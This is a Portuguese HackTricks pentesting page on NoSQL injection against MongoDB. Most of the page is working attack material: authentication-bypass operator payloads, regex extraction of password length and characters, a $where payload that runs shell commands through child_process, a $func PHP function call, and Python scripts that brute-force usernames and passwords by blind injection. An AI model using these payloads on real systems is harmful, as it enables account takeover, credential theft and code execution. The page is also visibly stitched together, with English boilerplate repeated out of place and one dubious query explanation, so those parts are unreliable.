hacktricks/pentesting-web/nosql-injection.md

22 KiB

Injeção NoSQL


Use Trickest para construir e automatizar fluxos de trabalho facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Bancos de dados NoSQL oferecem restrições de consistência mais flexíveis do que os bancos de dados SQL tradicionais. Ao exigir menos restrições relacionais e verificações de consistência, os bancos de dados NoSQL geralmente oferecem benefícios de desempenho e escalabilidade. No entanto, esses bancos de dados ainda podem ser vulneráveis a ataques de injeção, mesmo que não estejam usando a sintaxe SQL tradicional.

Exploração

Em PHP, você pode enviar um Array alterando o parâmetro enviado de parameter=foo para parameter[arrName]=foo.

Os exploits são baseados na adição de um Operador:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Bypass de autenticação básica

Usando não igual ($ne) ou maior ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB. Similar to SQL injection, it occurs when an attacker is able to manipulate a NoSQL query in order to retrieve, modify, or delete data from the database.

Understanding NoSQL Injection

NoSQL databases, like MongoDB, use a different query language than traditional SQL databases. Instead of using structured query language (SQL), they use a query language specific to the database system, such as MongoDB's query language.

NoSQL injection occurs when an attacker is able to manipulate the query parameters or input in a way that the application does not properly sanitize or validate. This allows the attacker to inject malicious code or operators into the query, which can lead to unauthorized access or manipulation of the database.

Common NoSQL Injection Techniques

  1. Query Parameter Manipulation: Attackers can manipulate query parameters to modify the behavior of the query. For example, they can modify the query to retrieve all records instead of a specific subset.

  2. Operator Injection: Attackers can inject operators into the query to modify its behavior. For example, they can inject the $ne (not equal) operator to bypass authentication and retrieve sensitive data.

  3. Code Injection: Attackers can inject malicious code into the query, which can be executed by the database. This can lead to unauthorized access or execution of arbitrary commands.

Preventing NoSQL Injection

To prevent NoSQL injection, it is important to follow secure coding practices:

  1. Input Validation: Validate and sanitize all user input before using it in a query. This includes checking for malicious characters or patterns.

  2. Parameterized Queries: Use parameterized queries or prepared statements to separate the query logic from the user input. This helps prevent injection attacks by treating user input as data, rather than executable code.

  3. Least Privilege Principle: Ensure that the database user account used by the application has the least privileges necessary to perform its intended functions. This limits the potential impact of an injection attack.

By following these best practices, you can help protect your NoSQL databases from injection attacks and maintain the security of your application.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

Extrair informações de comprimento

NoSQL Injection pode ser usado para extrair informações sobre o comprimento dos dados armazenados em um banco de dados NoSQL. Isso pode ser útil para entender a estrutura do banco de dados e identificar possíveis vulnerabilidades.

Técnica de Injeção

A técnica de injeção NoSQL envolve a exploração de consultas que usam operadores de comparação, como $gt (maior que), $lt (menor que) ou $eq (igual a). Ao fornecer valores manipulados para esses operadores, é possível obter informações sobre o comprimento dos dados.

Exemplo

Considere a seguinte consulta NoSQL:

db.users.find({ username: { $eq: "admin" } })

Para extrair informações sobre o comprimento do campo username, podemos fornecer um valor manipulado para o operador $eq:

db.users.find({ username: { $eq: { $ne: null } } })

Se a consulta retornar um resultado, isso indica que o comprimento do campo username é maior que zero. Caso contrário, o comprimento é zero.

Considerações de Segurança

Para proteger um aplicativo contra injeção NoSQL, é importante validar e sanitizar todas as entradas do usuário. Além disso, é recomendável usar bibliotecas ou frameworks que ofereçam recursos de segurança embutidos para mitigar esse tipo de vulnerabilidade.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extrair informações data

NoSQL injection is a type of attack that targets NoSQL databases, which are non-relational databases that store data in a flexible, schema-less format. This attack occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions.

In a NoSQL injection attack, the attacker takes advantage of vulnerabilities in the application code that interacts with the NoSQL database. These vulnerabilities can allow the attacker to inject malicious code into the query, which can then be executed by the database.

One common method of NoSQL injection is through the manipulation of query parameters. By modifying the values of these parameters, an attacker can change the behavior of the query and potentially retrieve sensitive information.

For example, consider a web application that uses a NoSQL database to store user information. The application may have a login feature that checks if a given username and password match a record in the database. The query used to perform this check may look something like this:

db.users.find({ username: 'admin', password: 'password123' })

In a NoSQL injection attack, an attacker could manipulate the query parameters to bypass the login check and retrieve all user records from the database. For example, by providing the following input:

username: { $ne: null }, password: { $ne: null }

The resulting query would retrieve all user records, regardless of the username and password provided.

To prevent NoSQL injection attacks, it is important to properly validate and sanitize user input before using it in a database query. This can include techniques such as input validation, parameterized queries, and output encoding.

By following secure coding practices and regularly testing for vulnerabilities, developers can help protect their applications from NoSQL injection attacks and ensure the security of their data.

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB. Similar to SQL injection, it occurs when an attacker is able to manipulate a NoSQL query in order to retrieve, modify, or delete data from the database.

Understanding NoSQL Injection

NoSQL databases, like MongoDB, use a different query language than traditional SQL databases. Instead of using structured query language (SQL), they use a query language specific to the database system, such as MongoDB's query language.

NoSQL injection occurs when an attacker is able to manipulate the query parameters or input in a way that the application does not properly sanitize or validate. This allows the attacker to inject malicious code or operators into the query, which can lead to unauthorized access or manipulation of the database.

Common NoSQL Injection Techniques

  1. Query Parameter Manipulation: Attackers can manipulate query parameters to modify the behavior of the query. For example, they can modify the query to retrieve all records instead of a specific subset.

  2. Operator Injection: Attackers can inject operators into the query to modify its behavior. For example, they can inject the $ne (not equal) operator to bypass authentication and retrieve sensitive data.

  3. Code Injection: Attackers can inject malicious code into the query, which can be executed by the database. This can lead to unauthorized access or execution of arbitrary commands.

Preventing NoSQL Injection

To prevent NoSQL injection, it is important to follow secure coding practices:

  1. Input Validation: Validate and sanitize all user input before using it in a query. This includes checking for malicious characters or patterns.

  2. Parameterized Queries: Use parameterized queries or prepared statements to separate the query logic from the user input. This helps prevent injection attacks by treating user input as data, rather than executable code.

  3. Least Privilege Principle: Ensure that the database user account used by the application has the least privileges necessary to perform its intended functions. This limits the potential impact of an injection attack.

By following these best practices, you can help protect your NoSQL database from injection attacks and maintain the security of your application.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Execução Arbitrária de Função em PHP

Utilizando o operador $func da biblioteca MongoLite (usada por padrão), pode ser possível executar uma função arbitrária, como descrito neste relatório.

"user":{"$func": "var_dump"}

Obter informações de uma coleção diferente

É possível usar $lookup para obter informações de uma coleção diferente. No exemplo a seguir, estamos lendo de uma coleção diferente chamada users e obtendo os resultados de todas as entradas com uma senha correspondente a um caractere curinga.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Use Trickest para construir e automatizar fluxos de trabalho facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Blind NoSQL

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Cargas úteis do MongoDB

Injeção de NoSQL

A injeção de NoSQL é uma técnica de ataque que visa explorar vulnerabilidades em bancos de dados NoSQL, como o MongoDB. Essa técnica é semelhante à injeção de SQL, mas é adaptada para bancos de dados NoSQL.

Cargas úteis para Injeção de NoSQL

Aqui estão algumas cargas úteis comuns usadas para explorar vulnerabilidades de injeção de NoSQL em bancos de dados MongoDB:

  1. Carga útil de autenticação: essa carga útil é usada para tentar autenticar como um usuário específico no banco de dados MongoDB. Ela pode ser usada para explorar vulnerabilidades de autenticação fraca.

    {"$ne": 1, "username": "admin", "password": {"$ne": 1}}
    
  2. Carga útil de enumeração: essa carga útil é usada para enumerar informações sobre o banco de dados, como nomes de coleções e campos.

    {"$where": "sleep(1000)"}
    
  3. Carga útil de injeção condicional: essa carga útil é usada para explorar vulnerabilidades de injeção condicional, onde a aplicação executa consultas condicionais no banco de dados.

    {"$gt": "", "username": "admin", "password": {"$regex": "^a"}}
    
  4. Carga útil de injeção de comandos: essa carga útil é usada para executar comandos no servidor MongoDB.

    {"$where": "this.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls').toString()"}
    

Considerações finais

Essas cargas úteis são apenas exemplos e podem variar dependendo do contexto e da aplicação específica. É importante entender as vulnerabilidades de injeção de NoSQL e adaptar as cargas úteis de acordo com o cenário de teste.

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

Ferramentas

Força bruta para obter nomes de usuário e senhas de login através de POST

Este é um script simples que você pode modificar, mas as ferramentas anteriores também podem realizar essa tarefa.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break

if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames


for u in get_usernames():
get_password(u)

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Use Trickest para construir e automatizar fluxos de trabalho com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}